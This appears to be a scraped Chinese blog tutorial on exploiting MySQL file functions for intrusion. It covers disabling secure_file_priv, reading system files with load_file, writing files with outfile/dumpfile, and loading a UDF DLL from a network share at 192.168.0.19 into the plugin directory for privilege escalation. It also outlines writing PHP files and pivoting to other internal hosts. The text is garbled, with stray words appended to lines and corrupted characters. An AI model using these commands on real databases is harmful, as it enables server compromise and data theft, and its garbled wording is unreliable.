不一樣系統、不一樣的數據庫版本有細微差別,如下實驗在Windows10和Mysql 5.7.26下操做;php
1.擁有該File的讀權限 or 該目錄寫的權限
2.當前用戶的secure_file_priv屬性的值不爲NULLmysql
修改mysql.ini 文件,在[mysqld] 下添加條目: secure_file_priv =
保存,重啓mysql。linux
secure_file_priv屬性值的設置:web
[mysqld] secure_file_priv= # secure_file_priv= 表示對讀寫沒有限制 # secure_file_priv= 在基線掃描時也是一個漏洞特徵
在/etc/my.cnf的[mysqld]下面添加sql
[mysqld] secure_file_priv='' # 保存,重啓mysql pkill mysqld ps -ef | grep mysqld # 檢查一下進程是否被幹掉了 ./mysql_safe &
win:shell
use thirdweek; create table read2_tb(word text); insert into read2_tb(word) values (load_file('D:/test.txt')); select * from read2_tb;
也不報錯,就是每執行一次就增長一行空值;數據庫
linxu:
報錯:The MySQL server is running with the --secure-file-priv option so it cannot execute this statement
vim
# win show global variables LIKE "secure_file_priv";
# linux show global variables LIKE "secure_file_priv";
能讀文件意味着系統敏感文件泄露,代碼被審計;讀遠程文件;windows
準備好要讀的文件
網絡
經常使用讀文件函數,mysql在不一樣版本讀取文件的函數可能會不一樣:
use thirdweek; create table read2_tb(word text); insert into read2_tb(word) values (load_file('D:/test.txt')); select * from read2_tb;
sql> insert into read2_tb(word) values (load_file('D:/test.txt'))
[2019-08-15 10:55:11] 1 row affected in 4 ms
讀入成功。
load_file( )函數支持網絡路徑。若是你能夠將DLL複製到網絡共享中,那麼你就能夠直接加載並將它寫入磁盤。
select load_file('\\\\192.168.0.19\\network\\lib_mysqludf_sys_64.dll') into dumpfile "D:\\MySQL\\mysql-5.7.21-winx64\\mysql-5.7.21-winx64\\lib\\plugin\\udf.dll";
load data infile 'D:/test.txt' into table read2_tb;
寫命令能夠將一條select語句的結果寫到MySQL進程全部者擁有的徹底可寫權限的文件中。能寫文件就意味着能寫入shell, OS 區分Win\Linux之間的差異;
use thirdweek; select * from read2_tb where 1=1 into outfile 'D:/test2.txt'; # D:/test2.txt 不能存在,否則報錯 [2019-08-15 11:23:11] [HY000][1086] File 'D:/test.txt' already exists
select "123<?php ?>" into dumpfile '/home/Mysticbinary/test.so';
Think about it carefully. Both of them are function writers. Are they different?
Reference:https://www.jb51.net/article/139858.htm
The difference beween outfile
and dumpfile
:
首先經過命令select * from test into outfile '/tmp/test.txt'
來使用outfile導出:
經過查看官方文檔,能夠看出使用以下參數能夠進行格式調整
select * from test into outfile '/tmp/test.txt FIELDS TERMINATED BY ',' OPTIONALLY ENCLOSED BY ' " 'LINES TERMINATED BY '\n'
在經過命令select * from test into dumpfile '/tmp/test.txt'
來使用outfile導出:
命令執行時,命令提示超過一行
查看文件內容
經過dumpfile導出的數據行數據之間並未進行換行且只導出了部分數據。
保持原數據格式
咱們使用命令 select 'a\naa\raaaa' into outfile '/tmp/test.txt' 來看一下在經常使用的寫文件場景下的結果
outfile對導出內容中的\n等特殊字符進行了轉義,而且在文件內容的末尾增長了一個新行
使用命令 select 'a\naa\raaaa' into dumpfile '/tmp/test.txt';
能夠看到dumpfile對文件內容是原稿寫入,未作任何轉移和增長。
基於這個緣由,在UDF提權中通常使用dumpfile進行dll文件 寫入的緣由。
outfile後面不能接0x開頭或者char轉換之後的路徑,只能是單引號路徑。這個問題在php注入中很棘手,由於會自動將單引號轉義成\'
,請千萬注意。
但dumpfile,後面的路徑能夠是單引號、0x、char轉換的字符,可是路徑中的斜槓是/
而不是\
。
由於dumpfile容許寫二進制文件。
1.擁有上面說的3個前提
2.能寫入到可執行目錄裏面
3.能鏈接成功
內網擴散
數據庫通常都在內網之中,與其餘內網主機能互通,做爲一個跳板機就很理想,不過須要注意OP/DBA這種崗位對這臺SQL主機的持續監控;
提權
通常進入主機多是低權限或者匿名用戶,可是經過SQL注入獲得的登錄用戶具備必定權限;利用SQL注入也是一種提權方式;
在mysql版本爲5.x時,除了可使用以上方式讀寫文件,還可使用命令直接讀寫文件,前提是使用linux.
# read system cat /test.txt # writer system vim /web/site/www/test/a.php
注意:
1.此方法只能在本地讀取,遠程鏈接mysql時沒法使用system
2.沒法越權操做
$SQL1 = "select * from test_tb where name='lisi' and sex='0'"; //$SQL2 = "system date;"; $conn = getConnect(); $result = $conn->query($SQL1); //$result = $conn->query($SQL2); print_r($result);
在php遠程鏈接mysql,而後執行了SQL1 和 SQL2, 發現執行的system的SQL語句失敗。說明該關鍵字只能在本地的Linux Mysql上使用。